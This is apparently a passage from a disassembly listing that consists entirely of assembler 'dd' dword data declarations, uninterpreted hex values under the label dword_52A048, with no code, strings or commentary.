dd 0B11A0ABBh, 393864B4h, 4B394187h, 8D9F2034h, 6E003CECh
dd 0BA06FC69h, 0F96322h, 68015883h, 9ECBFB78h, 2397AD00h
dd 3CC2066h, 82311ECFh, 0A2807E47h, 327A7EE5h, 0A500A0D0h
dd 62F192Ch, 977261h, 36EC8260h, 0A9966323h, 0E8564A00h
dd 94598C48h, 7AB500F8h, 0A2FE69Ah, 7000C9A1h, 0FB58796Fh
dd 8DB4F9h, 5202E1F0h, 43987B8Ah, 8F27FA00h, 18D388C7h
dd 359F00E9h, 0E3417984h, 0D700668Bh, 5250E551h, 9EB92Eh
dd 15D376C7h, 2C54B653h, 831129CFh, 0C10BC087h, 20403FECh
dd 3E527B97h, 630380F3h, 0E542D1C9h, 70C712E3h, 0DC38BAC5h
dd 6C7D5F30h, 3B81E1h, 0EEC4437Ch, 0A967D669h, 89F9E307h
dd 12321EEFh, 25EE60E2h, 9FAD0083h, 0F58DD947h, 4A30C319h
dd 970780BEh, 35271FE0h, 4C1180F2h, 0F17E8BB1h, 12448900h
dd 0B67A3D74h, 239D0035h, 1F2683FAh, 5500C564h, 2BB78970h
dd 160048Eh, 2EA72BEh, 0A8E4959Bh, 80EFA628h, 51D650E9h
dd 7B766D2Eh, 6665004Bh, 1FD17EC1h, 611DBB1Ch, 3200BF27h
dd 117F0FC3h, 5830051h, 1881194Bh, 48F0E5AAh, 0DB747C00h
dd 0AD40BBAh, 0C81C0773h, 0A0948991h, 20ED4BFAh, 96E74500h
dd 1157168Dh, 0E9A30044h, 6EE83C47h, 460621AFh, 0A6234ACEh
dd 8D250038h, 0D1D29D68h, 0D312BA8Bh, 0F0C8602h, 7C2508A9h
dd 0AE670089h, 1C483AFAh, 0CE7224DBh, 0A7A58400h, 1B6670F3h
dd 85E2078Bh, 707AE694h, 44EE9C04h, 7092CC03h, 72A29D87h
dd 0BBD1EF20h, 3F328682h, 8CE080F6h, 97AC156h, 0DB3E5E90h
dd 0FD5D00D1h, 0CABE13ABh, 361400A2h, 0FF52E8E2h, 80DEB8F8h
dd 9EF1D907h, 6A87C020h, 38AA00EFh, 0D50DE40Bh, 65001A0Ch
dd 165E282Dh, 3DC47ABh, 0EEDDD161h, 0F8905885h, 4401A57Ah
dd 50C2201Fh, 7620E67Bh, 99093FA4h, 8088BF94h, 5AAE000h
dd 11AEEDFh, 0B51F8C00h, 9C3F3B50h, 0EA93BBBh, 0BDBA2180h
dd 0DEF65EA0h, 0D2805A0Ah, 880788DBh, 1D27CB77h, 21CA2240h
dd 183AFE45h, 0C9C30BA1h, 2B281B6Dh, 680EC88Fh, 600EF44Ch
dd 0B99FE426h, 16796Eh, 78CF7B14h, 9277C9CDh, 1CE5D903h
dd 0C8B92C37h, 1158E69h, 0C41A89A7h, 0D8F0672Bh, 0E802B108h
dd 70147B99h, 5ECD41BCh, 697D802Ah, 0AA601CEFh, 0C7FAD521h
dd 0FF810096h, 648D4170h, 0EC04FC65h, 59B4990Eh, 8E2179C0h
dd 799C00EEh, 6D1807DEh, 0E400B380h, 29C89DEBh, 32B989h
dd 0B7717C2Ah, 0E6127BA5h, 0E202EAF0h, 99604637h, 54C401Eh
dd 0D0FC0393h, 816E2BF4h, 0C68C4EB8h, 0D8C8F201h, 78CBC248h
dd 0C9B61880h, 206CCC92h, 0FF0E1718h, 0EC962B30h, 1398FEh
dd 0B8CF1590h, 0DB3D7EB9h, 0A5AD0C0h, 1D2FE6Ah, 328F429Ah
dd 0D98C19C8h, 0F501E8E3h, 0A60E2A00h, 75B88A18h, 0B9DC1D78h
dd 0AA26C023h, 0D871030h, 77417407h, 24D1C748h, 13FD406Ch
dd 5C5759FCh, 0EC0BFF70h, 0D083E150h, 38007D73h, 0F67B8FEDh
dd 5011C024h, 7B09Ch, 459DB66Fh, 979B924Ah, 9044801Ch
dd 0A0E67A45h, 0B2859440h, 0C873455h, 8E51911Ch, 81000A50h
dd 0DCD4474Ch, 0F26C3BB2h, 0D222003Ah, 0EB88A856h, 3200A9F0h
dd 0E5C18E54h, 343B3DEh, 84C7B030h, 408817F6h, 9A0B6216h
dd 80A4564Dh, 673A8F1Ah, 0FD6D00EDh, 0EFF5C32Eh, 0F000892Dh
dd 0C120D4FBh, 71559227h, 0AD1000DEh, 0EB4B030Fh, 0C0004253h
dd 8DF9DA31h, 71B0124Eh, 17C10378h, 0AC492BFCh, 8A38B5A0h
dd 12F8B770h, 5BDBFA0Ch, 5CA3A16Eh, 0AD008683h, 122C9769h
dd 600ACE3h, 52D58B2Eh, 0C6642Fh, 0A9EB147Eh, 7FCA741Fh
dd 0EE8D98C0h, 0E47891D6h, 8BBA011Eh, 453823BDh, 0F2B06EE1h
dd 30FB00E4h, 2E1AEFD4h, 4D7FC18Dh, 0ADAE79DFh, 42D32F00h
dd 303EF153h, 0BDB67A0Ch, 1F069B74h, 83A4D0A8h, 877BDAh
dd 41216810h, 8886793Ah, 19609971h, 340F8A59h, 91CD0072h
dd 54943993h, 6106CCA2h, 2E9D01CEh, 0A9C10046h, 99E376D1h
dd 720044D8h, 0CCD22527h, 0FA1F06h, 419163ECh, 0B7DA56B4h
dd 175CF62Eh, 318C2114h, 0A7D21849h, 0F87C2BC8h, 570D393Bh
dd 317C8726h, 83074DD8h, 956E03E1h, 0CB48D830h, 0D38C0E3Eh
dd 31006D3Dh, 0F018341Fh, 4C6B7400h, 0B7E5BE7Dh, 0EABB07E0h
dd 0EB198C96h, 90E85880h, 0D9502B33h, 7428A6C4h, 0BA00BCA9h
dd 49971F41h, 18075F2h, 5E594EDDh, 0FB25529Dh, 0D44D12B0h
dd 0D9D52D00h, 274742F8h, 7367439h, 0FDC286C6h, 0D23D43C7h
dd 17063190h, 7C577103h, 0E04EAFF2h, 1EB37B47h, 80D4791Ch
dd 0C49BB638h, 0C606498Ch, 413DC370h, 7AC10058h, 3511F418h
dd 0CF0022CEh, 0D7C8FDE9h, 0EE4CB344h, 0F9E4E3F1h, 0F7B0396Eh
dd 0FCA63880h, 40B59445h, 0F1F02A03h, 8947E18Ah, 42F12F6Dh
dd 622F70h, 3AA87472h, 713E365Ah, 0E8B5DC00h, 6435C6Ch
dd 183F7669h, 0B085B670h, 9A603E7Dh, 0F37C50A0h, 9D19C048h
dd 6AEC625Ch, 3051830Eh, 0A44B252Eh, 1FE8003h, 0E9409895h
dd 39812890h, 14310090h, 0C03F4B8Ah, 0DC01747Dh, 84C818FDh
dd 0FAF0CF43h, 25953FC6h, 2F0E4D80h, 0E5F74A05h, 79000AE0h
dd 0BEB680EAh, 0A513830h, 0BD07F38Ah, 0C9A50824h, 4A383Eh
dd 7A9F2EB0h, 32F3235h, 5A703D4Ch, 3005C2F7h, 129E10BEh
dd 0B134B401h, 8440404Fh, 0E80D226h, 3990BCFEh, 83FD2FEEh
dd 475B85A2h, 8D0DC9h, 58C15D86h, 2703D54Bh, 0D119B94Dh
dd 8043082Ah, 4A227600h, 0C06D64FDh, 0E2FC5Fh, 0D5D6FC1Bh
dd 3097C308h, 0A4800C90h, 400CA4C6h, 114EF9C8h, 39CE0026h
dd 0D287BE50h, 730C01D5h, 216DD30Dh, 0ED430F13h, 6E00CCAEh
dd 5F24CA0Ah, 51A40504h, 8380F462h, 148026E9h, 8033508Dh
dd 9067E248h, 0DC12101Ch, 9CCA78Ch, 90689EFh, 0D3C6685Dh
dd 427A3A80h, 1B0141D8h, 20937375h, 0AAE8F9E9h, 86590A9Ch
dd 0A07DABh, 2A301405h, 10C080C5h, 0E667F4AAh, 4808009Ah
dd 8C492ED4h, 2A000A1Dh, 0D7656ECAh, 1A2AB8Ah, 1F506AF2h
dd 0F8E1F3C2h, 150022AFh, 1D8A4D20h, 0E29C7807h, 0FE77072Bh
dd 1056372Eh, 0A23D98FDh
dd 285C4700h, 4B8E44EBh, 60D4000Eh, 96F4EA36h, 0A81215A3h
dd 0C1002F51h, 1ACB1726h, 7C8F00EBh, 0E56929AFh, 5107B87Dh
dd 9CD12FB2h, 0C8473123h, 6EF6ADh, 0E833BD9h, 181A111h
dd 16ECF900h, 64C4048Ah, 6B7BA5h, 0B24FEA75h, 3515B8CCh
dd 84004E74h, 67642116h, 0C5137Bh, 0B11C8514h, 47BB9DE3h
dd 70874800h, 1A2C51CFh, 3CB93EA0h, 99127800h, 0DCD95888h
dd 95BE7000h, 0CFC8E25Fh, 48720757h, 60FEF374h, 16933AAFh
dd 7DD31300h, 4451DBFBh, 0BC1D0C33h, 0A3D112C0h, 801B943Ch
dd 28D4E62Ch, 436DFA5h, 5542F1F6h, 0CB10C072h, 76019F06h
dd 0CFC58778h, 0D0867FBAh, 49C7BCF5h, 6110D600h, 196A3BF6h
dd 0AFE93F30h, 10FBA8h, 0EA336F34h, 810DE7BDh, 6CE11B0Ch
dd 84487Bh, 0AB31D0BEh, 294799F8h, 75A4FD05h, 0DFC0BF02h
dd 29368ADh, 21DB2CC0h, 9C60E5B7h, 3C1E835Fh, 25C0F2A1h
dd 5D679CB2h, 7720047h, 0B6326E09h, 0CA00FAA3h, 217B20E1h
dd 0FEE01D57h, 0C0100308h, 0EA8A6AB5h, 407749D1h, 6DF113BFh
dd 0B4BEDC01h, 8AFAE7EEh, 71B89F0h, 16D2279Ah, 8C0B808Eh
dd 15072884h, 6AE4AD39h, 7D9B3BD0h, 1A30010h, 0C1B96E6h
dd 683C72A8h, 0AF1980E8h, 60DF87B3h, 18163C6Eh, 55245F00h
dd 1BFB4904h, 45E13800h, 7333BE13h, 0C1B805BAh, 805663C9h
dd 0EA282C35h, 44F24DF4h, 5317E4FFh, 66412600h, 61F51B4Bh
dd 5DA4005Ch, 0EEBF7C0Dh, 0D92429C9h, 0A017CADh, 5E79883Ch
dd 0EA6BC8h, 0D598596Eh, 55D06C23h, 9CE22F00h, 0CD422838h
dd 93F63F4Eh, 40D3269Eh, 0E16E44D9h, 6D00F52Bh, 911E1719h
dd 38B18966h, 3298E629h, 9C5E8827h, 6A8B0300h, 30A547F3h
dd 0AA7360h, 0D37B8E72h, 0C80F40A2h, 44C42600h, 0BD17820Bh
dd 0E14C00F2h, 6B0DC7F8h, 2100C123h, 0E09193AFh, 0C0A247h
dd 9ED218C9h, 668DDDFFh, 86C3D700h, 73610B6Ah, 0CF1B0C6Ch
dd 0EA403D3Eh, 0C94C70F7h, 32829700h, 44CBE7BCh, 0BF60008Ch
dd 93CEE468h, 6E0B3AD8h, 8435134Fh, 0EF80021Bh, 0A585DCh
dd 12144A1Dh, 4B371B2Fh, 0CB449E00h, 1E3F4FC8h, 26C000F0h
dd 0C7B9E6FFh, 9AF0A11Bh, 0B60739B8h, 185690FAh, 3A832AB0h
dd 0C0965EEDh, 7FE7BFADh, 4F508EEFh, 0C5D680B7h, 0B6F566h
dd 0BE456908h, 10FE8D3Ah, 0B19ED800h, 562D28C3h, 0CF890039h
dd 0F20A4513h, 0EC0083B9h, 8DC6755Eh, 1A7F746h, 26D8C94Ah
dd 0E80268EDh, 0E30022AEh, 8F2CE1ABh, 51CB8258h, 0D9C0CABBh
dd 2F600327h, 0A4C0C2B6h, 539424C0h, 9200C874h, 3CCB285Dh
dd 0EF2CFDh, 12226D63h, 1CB579DBh, 3DB7440Fh, 0E289809Dh
dd 79169A2h, 0CD4D723Ch, 809A475Fh, 0CCB371D7h, 4A420400h
dd 55A89489h, 0B8D001CDh, 589CEF19h, 0D82EFC3Dh, 76E56500h
dd 0C830D910h, 0CC40F39Ah, 0D32081h, 0EC1A96Bh, 0DD594B7Fh
dd 0E369C1EBh, 51C671E0h, 0ED33F000h, 0F6F9913Ch, 0E9230FE2h
dd 0EBA01E35h, 0CADCDF3Eh, 60814600h, 0AF4BF0D7h, 0E402098Dh
dd 7D804D43h, 8C2CF940h, 98652A02h, 0E0E79C61h, 923E1Ah
dd 0C1142827h, 0FF23022h, 0E380D607h, 4BC01C47h, 7B05CBCFh
dd 9F253AE6h, 8D160600h, 6F4EED62h, 0BDF5F100h, 35BA241Dh
dd 0C88C1B9Fh, 39E87872h, 337AB0BEh, 80AC7B3Bh, 3E615B09h
dd 884A94h, 0D46590E7h, 997855E5h, 7E00DD79h, 0F221B61Fh
dd 1089C4h, 0EF29C111h, 50D540DBh, 93E72B00h, 596BF84Ah
dd 2FE20930h, 577C0383h, 69B69800h, 0E3A5477h, 0DE3C2826h
dd 0E30308E9h, 4498FFEAh, 92EC7D55h, 5AA34D00h, 61D8E73Dh
dd 0E44001C2h, 0D5BF9D2Dh, 531FFCF4h, 0F09FB800h, 0F716C99Ah
dd 3E130351h, 2F8136A1h, 29D55A0h, 0FEBA4200h, 0F73AB37Ah
dd 4F990EFBh, 6D000389h, 0CB5AF4DFh, 469F3100h, 2EA2C8C9h
dd 0ACBB00BEh, 0AAB7BCF6h, 9CF850E1h, 187B5A00h, 0F252C9D3h
dd 65DC0086h, 72048FC4h, 402E893Fh, 1500783Bh, 80A61AE0h
dd 81E300C1h, 0C2E29762h, 3706D252h, 0BA940EB3h, 0A77260h
dd 38768C7Ah, 8FC36309h, 8D173500h, 0F02B076Dh, 0A9D90078h
dd 0DC4BE68Ch, 389061DEh, 80802648h, 0C5AAF0BBh, 45C000C1h
dd 3E278ED9h, 70994B9h, 0A8682Ch, 0E4349061h, 0BC220059h
dd 2D095511h, 30787D3h, 0F33D5D1Eh, 769AB340h, 0C1E700B2h
dd 0C81C6CFh, 5571C09Dh, 0C2F18C1Fh, 0D4EB21C0h, 19A9E6Bh
dd 85C86490h, 304A738Bh, 4C001574h, 0E825FFF2h, 36074EAh
dd 62907B03h, 36C046A3h, 4300F5EBh, 0C7CAC926h, 0E80C3Eh
dd 7E3902BDh, 86211034h, 0D148A030h, 2417FCB7h, 0C578F3BCh
dd 56207055h, 57FAE45Ch, 9D00B0F0h, 89B73C22h, 454472h
dd 52ACEEB6h, 685CF8Fh, 0CB690201h, 0A96C9B9Fh, 63E4A3E9h
dd 0E0EF3803h, 0A700134Ch, 30C0C4EBh, 0A6009C68h, 0B082B117h
dd 0E902752h, 153D5F3Eh, 5D35AB20h, 440E3BE3h, 806CDF02h
dd 22BDF9E4h, 0CE90006Ah, 6788D3C3h, 0E1001A6Bh, 279F436Eh
dd 0A1DBF7h, 1955AF69h, 0BA496529h, 0AC2B4705h, 0A849674Ch
dd 87901048h, 0E14F003Bh, 0B7BE59BBh, 7600E211h, 1A333F18h
dd 92FEF7h, 2A6E758Ch, 0ED22499Dh, 0F6410427h, 0B65B0F97h
dd 6940C9A0h, 85003921h, 0DB507449h, 5A0C4Eh, 0FEFDB6A8h
dd 0DEA987A6h, 979CE500h, 0DC811109h, 0C03006Eh, 0A126B28Ch
dd 0D3002E0Dh, 0CB2AA645h, 95761AE3h, 0F609F578h, 889E851Dh
dd 0E700C815h, 0BDC09C2Ch, 71B0262Eh, 471749h, 7ADBF52Eh
dd 0BF044F79h, 93F4A283h, 0E8008895h, 23EC9ECDh, 613609CAh
dd 2482F7D2h, 0C0D51CFAh, 26DD0BE6h, 0CCCFA1h, 0D06D916Eh
dd 4C043640h, 0A97DF76h, 0BFB80C80h, 8EEB00A4h, 74E246BCh
dd 4101CB56h, 0D18DDC5Ch, 0FC34A70Eh, 0EA490DE1h, 0DC3809DEh
dd 338BBE3h, 0A0B5807Ah, 0F2A4E6A9h, 0D1C00448h, 0C277BFCFh
dd 6443F8B6h, 469688B0h, 0B95C08B8h, 48E60B0Dh, 0C2C00019h
dd 0C66A11h, 795B6686h, 0BE5C21A5h, 0EA242C9Ah, 2E80506Bh
dd 2FD86A25h, 4F0B26B0h, 91DC00D8h, 20A31F1Eh, 67CA8400h
dd 5D73BE05h, 36460787h, 41F7234Bh, 0F05B6C98h, 0BC00AD4Dh
dd 0F1B4294h, 647F4Fh, 6582E608h, 0C6F9F5F0h, 53E5B800h
dd 873DBC72h, 60EE00ACh, 35F0663Fh, 7A77755Fh, 9F6CE901h
dd 0B74833D3h, 510BC8h, 0E3D23231h, 0FDCD779Eh, 0E04DA530h
dd 57AE49h, 0DBD40E2Ch, 749951C7h, 7852AD3Eh, 5C49CA26h
dd 14663C62h, 6D39861Eh, 200BD700h, 0C1A6B74Bh, 10C64858h
dd 0E9DE6034h, 0B1F4D150h, 0CE21EF00h, 837A1C4Fh, 0A77601DEh
dd 9EF5EC10h, 7F7E9846h, 0C853299h, 0CF386CC1h, 5D267EF4h
dd 0E0B5C5Bh, 0F5D82024h, 131A26FEh, 582B263h, 8C4566D0h
dd 50F43F8h, 54A9762Eh, 3CE4C144h, 0D860645Ch, 0BB060057h
dd 12A5A76Bh, 0FC4CCD4Fh, 0A15E1393h, 0B5428h, 530589EBh
dd 882E7B29h, 7160C100h, 112BC72Dh, 1BE6F1h, 0E35016BFh
dd 0E664B6EAh, 6C91D401h, 0C3305E93h, 0B542D0h, 2C24991Bh
dd 16F06431h, 68BE4E0Eh, 7A930158h, 41D0518Eh, 0ACC43DC2h
dd 2BAFDE81h, 40A93989h, 625B4687h, 63FE320Bh, 0C6CF8067h
dd 5978D4h, 9D3B0A06h, 7550F85Eh, 0F11F907Ch, 0B9402A0Ch
dd 65A37AEEh, 0D78300E3h, 1A9A84A7h, 1006ABEh, 0E2A22D16h
dd 15655Eh, 104FA420h, 0FEF823D3h, 0F3DDBD00h, 612607C1h
dd 0A9F452h, 16E49EBCh
dword_52A048 dd 7CB0A502h, 0CA91FD00h, 613A0DB8h, 9578003Dh, 88A89A2Ah
dd 0A600694Ch, 0D1E40A0Fh, 3FDB7F9h, 40C4F081h, 590FD434h
dd 218CBCF4h, 372EB9CBh, 156B60h, 2FD41F3h, 835048B1h
dd 3279AD1Eh, 9FC01402h, 0AE20A05Fh, 1325FCh, 30E57466h
dd 0C2216F04h, 0F3D4171Eh, 0B353E980h, 0C83996h, 0BDF8A27Ch
dd 0A60C63B7h, 87D2A93Bh, 0FDFE7FEEh, 3F495780h, 0E0530048h
dd 89045486h, 880068A7h, 0BCD5A07Eh, 1FFA5A01h, 84A260EAh
dd 0C0F3CF1Bh, 0A7F411BDh, 4A5C900h, 54AA0F15h, 475E0022h
dd 689F7837h, 0C30EEC24h, 808B882Fh, 3D4E9DA8h, 66FB03C5h
dd 0B22519A5h, 0D99550C0h, 71823Dh, 1E2CCFF7h, 4345D5h
dd 5A20D1F9h, 17BE04DAh, 0D990C000h, 9BC48547h, 0AF74009Dh
dd 0B8EE0C09h, 0DD00B3C5h, 0C20298CAh, 372C99h, 7659A63Eh
dd 3134914Eh, 6FE18300h, 6A5BDF35h, 0E2FE4Dh, 0CADAF020h
dd 421C4EE4h, 6B66FF00h, 0D1B40C0Eh, 0AA78001Bh, 0E2946E22h
dd 0A07DC5Ah, 0B2F97AEBh, 0A5D23A40h, 2DD074Bh, 0F079AE55h
dd 9B920DB3h, 3E0F3500h, 0AB75F5E9h, 0CC9861h, 0EC4D05C7h
dd 0CEA0FEAEh, 92D0450Bh, 123407B4h, 814C0660h, 71B300F1h
dd 0BD908010h, 0C40C37EFh, 608C6E16h, 0E7580953h, 100088E6h
dd 0C5D26F9Bh, 0D44CB800h, 0A1B6D8D0h, 0F0FB000Fh, 0E4FC3471h
dd 0B17A28Eh, 3500AE53h, 0B7A5232Eh, 5377410h, 0BD115106h
dd 0ED8E804Bh, 36002C7Ah, 25B83546h, 0C91A030h, 8554FB71h
dd 0B7300A70h, 0CC9F40F3h, 0D159C19Bh, 43B8A199h, 0F1A9693Ch
dd 1660812Fh, 0F9669B37h, 3B1F6041h, 0BC61FCh, 0C5412E75h
dd 6A83A47Bh, 86112C18h, 3BCA0469h, 731E829Eh, 22C6E18h
dd 0CFA05188h, 0C8C2FB41h, 370F6C36h, 0E0449C3Ah, 91EA1FE8h
dd 5F8B0CABh, 53987817h, 0CA4E3900h, 0E433204Bh, 0D38C012Dh
dd 0B90F4E8h, 0D9C08705h, 0C7B03ED1h, 1D93F588h, 18A8D4F8h
dd 49E2E1A1h, 0E63C6C07h, 34E0D7C7h, 0F2706B15h, 123000F5h
dd 0FFDC430Ah, 0CB303D47h, 17F3C09Eh, 9C6B003Bh, 4B96051Ch
dd 0FA379A4Dh, 721E136h, 95C8C13Bh, 0E07A0FCBh, 0A0188C2Fh
dd 2C008709h, 0D39219AEh, 0E806B5B1h, 0EE2300E6h, 96CA5F10h
dd 78C96F49h, 0DD3C2552h, 5410402Bh, 0B76DC0AEh, 32432Fh
dd 1A7076F4h, 508FDC52h, 0FA945154h, 0E92F018Ch, 4B583110h
dd 4007088Ch, 6A00B80Ah, 0E96FFE6Eh, 0C0172816h, 7DAB9039h
dd 4400BEBDh, 0CDEED033h, 0A309385h, 17A8918Dh, 8F1283A0h
dd 10008EFDh, 0F6D9F89Fh, 0E5EA4BE7h, 290CDE0h, 0E5D6855h
dd 71600F1Eh, 7200E0DAh, 74D1515Ah, 0F4215E4h, 3A1B46A3h
dd 0B388F6A0h, 1D3C38B6h, 9582073Bh, 3970D0A6h, 0F6B975D8h
dd 6E680057h, 0E19DDBB8h, 96012CCBh, 80024F9Bh, 81E06BF8h
dd 910F00B5h, 0F78635DAh, 0CAF684E2h, 0EDEAFE01h, 104B55ADh
dd 0D40D7C6h, 7300409Dh, 26716D48h, 7C8552h, 0B4BE7B2Fh
dd 0FBB2243Ch, 43AA1707h, 8BC012C2h, 989BE581h, 58A0001Ah
dd 53271B21h, 0A8036EECh, 11BC3A42h, 0EFE090D7h, 58DE00B5h
dd 0A3CC6C10h, 69002E6Bh, 9ABF59Ch, 1E520F41h, 0CA2FE3h
dd 0DAA9A850h, 0CD00A3B4h, 86BC7AFFh, 0FC45E761h, 0FDD000D6h
dd 144B62B3h, 0ED00DF75h, 7E60D5E2h, 7B6F58Bh, 0A7685C29h
dd 6998F0F3h, 8E0F1D66h, 439DEEA1h, 1C27281h, 77179C68h
dd 0EC15564Dh, 0F98D73Ah, 3CA4D603h, 4FA97Bh, 25481E29h
dd 15A3BA4Ch, 0BC01A8B8h, 1424D23Bh, 8841AB9Dh, 880C34Dh
dd 0B148D0CAh, 1D0352C4h, 4520FE53h, 0CFCCA87Dh, 0E8B3006Dh
dd 5A960C64h, 0E0E58DBh, 0A014B7D7h, 692AD371h, 6844000Ah
dd 0DF309DDEh, 10000BD2h, 38E197B2h, 0DD14A6h, 1562AE6h
dd 0EAF6D8EBh, 0B8FE4Ch, 1A1FB126h, 3B4D13h, 0F9CA9355h
dd 0E056D6BAh, 1ED41407h, 0CF430998h, 8D200703h, 5790E1CEh
dd 2865BDh, 37AC34DDh, 263E4F13h, 9485000Fh, 32843CF4h
dd 593A60CBh, 3608BA7Bh, 4486B773h, 0B8009F35h, 0D6E384B5h
dd 1D31933h, 6426F427h, 4645E941h, 0EA0028C0h, 4F541C3Ah
dd 26B80Bh, 7612493Ch, 56FDC224h, 7A70E960h, 0C0C142h
dd 0E49B4643h, 0B3AAF659h, 0BA0EA400h, 0B7B403E0h, 0A80C307Ch
dd 56D3CEB0h, 0EA948000h, 0D633625Ah, 8F6F03A2h, 8DA9BD27h
dd 0EAD8FCA7h, 0ADFC4Ch, 999A7F73h, 0A8E174h, 0D02530D4h
dd 0DCB47947h, 9151EE07h, 87701052h, 10189BEh, 0B7E4C59Eh
dd 0E86ABA90h, 21000831h, 8AD1FC58h, 0EF7D04h, 6DB3F93Bh
dd 0E09C26EBh, 8EAA800h, 0EDC459Fh, 0CCC1D9Ah, 0AE9D00AAh
dd 8D5EA9D0h, 36460507h, 2A308C1Ah, 71AB5257h, 45AC0383h
dd 0B0DE49A2h, 36C0EB95h, 1F962FBEh, 0E70F7E58h, 1D009CFEh
dd 87DC701Eh, 9C7CEEh, 0FC28582Eh, 0B779A8C6h, 26BBA000h
dd 1BC913E3h, 0F3970048h, 228F3846h, 9C0041D6h, 7E19253Ah
dd 13BA4EEh, 11C0A554h, 0C824084Fh, 96005277h, 0F0C874DCh
dd 0F7AE32h, 7C1C85A8h, 0D880873Bh, 0F18BA600h, 4F9F84DCh
dd 98CD1F6Bh, 10060619h, 720008B8h, 838EDA1Ah, 38A12351h
dd 74762C7Ch, 0B4D6002Ah, 0A6101A4Ah, 800F5BC3h, 0E01524EFh
dd 9CA3BEA7h, 78713066h, 0FA199788h, 3F8113Ch, 722B05CAh
dd 3F3DD8B9h, 824C30E0h, 3AC22A21h, 0E70EF4EAh, 2E17941Eh
dd 44528220h, 0A34F604Ah, 6D180E88h, 0A5A06C84h, 97E427A9h
dd 11859918h, 0F2247D90h, 965F3291h, 0F30D160h, 0F506088Eh
dd 91621B2Fh, 3D590042h, 0D0B0C73Ah, 0E600CB7Bh, 7A4EEFC0h
dd 42FA54h, 652FE772h, 29949782h, 6F00C2FCh, 0B9418ABFh
dd 1F37A1DAh, 0EEAF0D9h, 55A02663h, 0D7487E1Fh, 0C8000DFEh
dd 4D512C4Bh, 165F1768h, 499457h, 69B4B020h, 0C30CFD84h
dd 20E63DD9h, 0EB9600D3h, 3CF23F01h, 0E400BF77h, 0D6C250B3h
dd 7FA5BE0h, 0EB7665Dh, 0C0EDA7FBh, 447D65D0h, 0C65C0500h
dd 0F6A09EA5h, 5FA90313h, 2C3AADCBh, 302FD0BFh, 9604E05Dh
dd 0CD9D0848h, 0D73FA7C0h, 63280078h, 0E26F91A1h, 8548F077h
dd 3DA800FDh, 90065670h, 0D8F64814h, 0BCBF5300h, 0E505438Eh
dd 7031F0Fh, 0E3B5C1B8h, 0E1CB2F48h, 0B4E00208h, 7EBB004Dh
dd 2778665Ch, 0C300F7CCh, 9EFB9C5h, 77F16DDh, 7C72A382h
dd 5FD37022h, 8701AC1Dh, 0F689A904h, 0D8806B48h, 1FCD1808h
dd 0BE00EE09h, 0B69FF8Ch, 0BAB140h, 0A04858A7h, 637903B5h
dd 0A8F44A00h, 0F38E5C39h, 0BE40BD3h, 748012DAh, 570A2283h
dd 0A330F174h, 89FF20C6h, 0BD0EDD9h, 30BE018Ch, 0F5D067BAh
dd 407EF046h, 1155A00Eh, 88CAE18Eh, 86E7C9DEh, 0D22A0018h
dd 0D133A4F4h, 93008E04h, 540C746Ah, 31F1BE24h, 0E1082598h
dd 332080D3h, 0FBD174C1h, 3210005Dh, 0B201CE36h, 5900BBAFh
dd 412BE786h, 9AF1D0h, 0E2B79F89h, 5796DEF3h, 0ECDD9207h
dd 0AA8083C1h, 0FC8DED3Bh, 0A4B100B3h, 18F8A225h, 9C6371E3h
dd 0C88352EAh, 584939F3h, 0C300B2B6h, 0C94CE7Ch, 34095C4Bh
dd 548A0561h, 9BE30507h, 4984089h, 0C5B13117h, 228DF500h
dd 6DEB3A7Fh, 80CB50D8h, 5CF40A49h, 40B08A9Ah, 0DE36F037h
dd 88804621h, 0CB00C5CDh, 0EC42DA05h, 3B9C075Bh, 2074F93Ch
dd 24C414A1h, 1F0B2000h, 4ED86F1h, 5B8B005Ch, 8C8ED8DDh
dd 0D60066C2h, 375014AFh, 0B0A171h, 59822407h, 0EAAB60BCh
dd 2DD80300h, 7DAFE19Bh
dd 0A26800ADh, 0BFFBC0D9h, 970B2A4Bh, 66EAC5h, 5744DC31h
dd 0D2EC01B9h, 2B38A3F7h, 9356ECB0h, 0E6881E00h, 0BDD8E845h
dd 0CB370F43h, 7FF3CEh, 553F773Bh, 1800AC8Ch, 715CE996h
dd 1F49CD28h, 0F6A2B2h, 8A6C14D8h, 8F01CAB7h, 80D47E78h
dd 0CCF05F0Fh, 0CB300391h, 0D57908F9h, 13A837E0h, 1B1DF1F8h
dd 2580FF3Bh, 0DC4BCF5h, 184CB87Ch, 21F2236Fh, 0E700844Dh
dd 6837C36Eh, 7369F32h, 7ADC542Dh, 0F8FD60FFh, 23F0E1A1h
dd 3ACE3Dh, 9E924844h, 48293h, 712EFE02h, 50BF9D4h, 189C840Eh
dd 20E04E7Eh, 87BE6F4Eh, 0F07D00A6h, 0C54FA26Eh, 15075174h
dd 752FBBE6h, 0CC2E8240h, 1F290FA0h, 8CC04692h, 9ABF55FAh
dd 32BE8600h, 8799F05Ch, 0FDEFC61h, 0FD72A7C1h, 20AF33CFh
dd 0D366C0C0h, 9F008C0Ah, 0C567AFD0h, 7D22252h, 1CED1211h
dd 62D00DAh, 0AE98E814h, 0AEB1CA00h, 0CD64349Ch, 0E75800B8h
dd 7356860Bh, 0B6E8AD9Dh, 9800AF75h, 333907ACh, 1F030555h
dd 0C061C96Dh, 0E2C0B89h, 0CB00A7E6h, 0C1D0D29Dh, 6A84DE8h
dd 812A163Eh, 6C009083h, 0F48427BCh, 3873ACDDh, 48805A60h
dd 0DA1D5B0Ah, 1E2C3E54h, 2606F8B8h, 0F2D8FB98h, 0C42A017Bh
dd 8D4BA24Fh, 388040DDh, 5D03EB04h, 88C856A7h, 0E418000Dh
dd 93D1668Dh, 0B30CF1ADh, 58E33387h, 289B060Ah, 40AC2684h
dd 36AA59C0h, 714BA548h, 0A4A379h, 9DE8DF58h, 1EACC9A3h
dd 95A61084h, 885710B1h, 1071DA8Fh, 0CC9D34D0h, 55B0F922h
dd 0DC1B1886h, 2B6058BFh, 0CD10E342h, 42BB3B0Bh, 84F75A15h
dd 2CE08414h, 20FF0E1Eh, 4DFE121h, 1FD66CA7h, 1E823390h
dd 9F02A6CBh, 1B08E68h, 3990CD2Fh, 0B7715080h, 16E85CFh
dd 0A306751Fh, 0BA3CF0FAh, 0AB0A00E6h, 125C84CDh, 1329282Bh
dd 61FB1E94h, 2F470CF1h, 770114D9h, 0CB90ADA0h, 3D43E6Dh
dd 3C5500CDh, 563AE168h, 9D015F1Ah, 3B9281F6h, 7E46121h
dd 3993001Eh, 0EDB5ACDCh, 2F0794BAh, 0E64B6BCCh, 28FDA800h
dd 78A8C0DAh, 8A6A0FC2h, 82412300h, 3597A5AAh, 0EEAEF886h
